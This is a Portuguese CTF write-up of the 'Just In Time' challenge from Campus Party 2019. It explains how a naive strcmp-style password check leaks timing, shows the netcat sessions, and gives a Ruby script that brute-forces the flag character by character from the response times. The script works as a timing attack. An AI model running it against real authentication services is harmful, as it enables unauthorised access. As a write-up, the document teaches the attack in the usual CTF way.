Aqui vai um writeup do desafio just_in_time
, valendo 150 pontos, realizado no CTF
da campus party de 2019, pelo GS2W + CTF-BR.
Título: Just In Time
Descrição:
Meu usuário está >>>MORTO<<<. Acha que tens o que é necessário para quebrar a minha senha?
CLICA AQUI: nc imesec.ime.usp.br 9999
Enquanto essa descrição é uma clara referência a esse meme, ela não ajuda muito além de dar um link para um servidor e uma porta.
Ao realizar o comando dito pelo enunciado, caímos em um prompt de senha:
$ nc imesec.ime.usp.br 9999
Please input the password: _
e ao colocar uma senha qualquer, o prompt retorna:
$ nc imesec.ime.usp.br 9999
Please input the password: asd
false 0.0
um false
e um 0.0
. O que isso pode dizer?
Parece que qualquer senha que for colocada lá tem o mesmo comportamento:
$ nc imesec.ime.usp.br 9999
Please input the password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
false 0.0
Mas brincando um pouco mais com o input, chega-se a alguma coisa diferente:
$ nc imesec.ime.usp.br 9999
Please input the password: Goku
false 0.05
O false
continua lá. Mas o número aumentou de 0.0 para 0.05.
Lembre-se sempre de olhar o título do desafio! O título é 'Just in time', o que poderia remeter o desafiado a um timing attack.
A implementação da comparação de senha desse desafio parece ser (é) uma dramatização
da implementação não segura de comparação de senhas: o strcmp
.
Uma implementação simples de strcmp
é a seguinte, em C:
int strcmp(char* a, char* b) {
while (*a && *b && a == b) a++, b++;
return *a - *b;
}
é possível ver que está correta pois devolve um número negativo quando a < b
,
0 quando a == b
e um número positivo quando a > b
.
Mas qual é o problema dela? Bem, vamos exagerar um pouco.
Digamos que a
e b
são strings de 100 milhões de caractéres de tamanho.
Se a
for diferente de b
apenas no último caractére, o algoritmo irá demorar
bastante tempo para terminar. Agora, se a
for diferente de b
no segundo
caractére, o algoritmo irá retornar quase que instantaneamente!
Na vida real, essa falha pode ser explorada com relógios de precisão de nanossegundos. É por isso que o Linux demora tanto pra responder quando você erra a senha! -- Porque ele não quer dar nenhuma dica sobre como o hash da senha atual é baseado no seu input.
Após descobrir isso, o desafio fica muito mais fácil: Quanto mais caractéres corretos no início da senha, mais o desafio demora a responder, e maior o número fica.
Please input the password: a
false 0.0
Please input the password: G
false 0.05
Please input the password: GS
false 0.1
Fica fácil fazer um algoritmo de força bruta com isso: Tente todas as letras e
números até o número depois do false
ficar maior.
aqui está um código que resolve o problema, feito em ruby
:
require 'socket'
if ARGV.length < 2
puts "usage: #{$0} <CHALLENGE_IP> <CHALLENGE_PORT>"
exit(-1)
end
CHALLENGE_IP = ARGV[0]
PORT = ARGV[1]
ALPHABET = (32..127).to_a.map! { |a| a.chr }
password = ''
valid = false
best = 0.0
while !valid
ALPHABET.each do |letter|
try_password = password + letter
puts "-> trying #{try_password}"
socket = TCPSocket.new CHALLENGE_IP, PORT
a = socket.read('Please input the password: '.length)
socket.write try_password
response = socket.read
valid, time_to_validate = response.split(' ')
valid = valid == "true"
time_to_validate = time_to_validate.to_f
if valid
puts "#" * 8
puts "ANSWER = " + try_password
puts "#" * 8
break
elsif time_to_validate > best
password = try_password
best = time_to_validate
break
end
end
end
Rodando isso por um tempo (mais pro final cada tentativa demora por volta de 1.4s para rodar), temos:
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!l
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!m
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!n
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!o
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!p
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!q
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!r
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!s
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!t
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!u
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!v
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!w
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!x
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!y
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!z
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!{
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!|
-> trying GS2W_{P4ssw0RD_T1MinG_4TT4Ck!}
########
ANSWER = GS2W_{P4ssw0RD_T1MinG_4TT4Ck!}
########
Para os interessados que querem ver o código do desafio (e possivelmente hostear/alterar ele - sintam-se livres para fazer isso), vocês podem encontrá-lo aqui.